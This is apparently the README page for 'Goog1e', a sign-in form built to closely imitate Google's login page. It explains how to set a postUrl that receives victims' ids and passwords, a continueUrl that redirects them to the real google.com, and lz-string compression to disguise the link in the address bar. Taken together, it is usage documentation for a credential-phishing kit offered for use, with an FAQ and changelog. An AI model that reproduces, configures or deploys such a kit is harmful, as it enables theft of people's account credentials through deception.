Goog1e

Goog1e is a login form designed to closely resemble that of Google's.

Demo

View the login form with its default settings here.

Customization

The text and logo can be easily customized via to suit simple organisations. Simply append a question mark (?) then a URL or JSON string to the URL.

https://goog1e.neocities.com/signin/?https://www.example.com/customSettings.json
https://goog1e.neocities.com/signin/?{"locale": {"heading4Id": "Hurry up and enter your id below"}}

Goog1e has two major options, postUrl and continueUrl.
If postUrl and continueUrl are both set, Goog1e will send the id and password via a post request to the URL. CORS must be enabled on the server from the origin goog1e.neocities.com.
If continueUrl is not set, then the form will be directly submitted to the postUrl address. CORS is not required for this.

A full list of customizations, complete with default settings is below.

{
"image": {
    "logo": "images/logo.svg",
    "background": "images/background.svg"
},
"locale": {
    "heading4Id": "Sign in",
    "subheading4Id": "with your Magic Account",
    "placeholder4Id": "Email or phone",
    "error4Id": "Enter an email or phone number",
    "forgotEmail": "Forgot email?",
    
    "heading4Password": "Welcome",
    "placeholder4Password": "Enter your password",
    "error4Password": "Enter a password",
    "forgotPassword": "Forgot password?",
    
    "moreOptions": "More options",
    "nextBtn": "Next",
    
    "language": "English (United States)",
    "help": "Help",
    "privacy": "Privacy",
    "terms": "Terms"
},
"link": {
    "help": "",
    "privacy": "",
    "terms": ""
},
"color": {
    "background": "#e0e0e0",
    "main": "#ffffff",
    "text": "#212121",
    "accent": "#4285f4",
    "highlight": "#ff9800"
},
"title": "Sign in - Magic Accounts",
"postUrl": "",
"continueUrl": "https://www.google.com"
}

If you want to shrink or disguise the text in the address bar, the JSON / URL can be a compressed lz-string.

https://goog1e.neocities.com/signin/?BYFxAcGcC4HpYO5IHQFMAeBDAtuANqsgMYD22sRArpCGQMqpgCWAdgOaTIBWkJLQA

You can test the lz-string compression here: Current length is 0 characters.

F.A.Q.

Q: Why doesn't XYZ work? A: Try opening the Javascript console and reading its helpful error messages. There is a great reference here.

Q: The console says Uncaught SyntaxError ... JSON A: Check that you are using a well formatted JSON using this site. Garbage in, garbage out.

Q: The console says Failed to load <URL> A: Double check the URL is correct (and includes the https://) and that CORS is enabled on your server.

Q: Help! There's no error, and nothing is showing? A: If you have customized the logo, the form will be hidden until the new logo has loaded. This stops the ugly change from one logo to another. Check your logo URL.

Changelog

2018-03-22: Released
Initial release

2018-03-23: Add mobile support
Added media queries to detect and react responsively to screen sizes > 600px and > 450px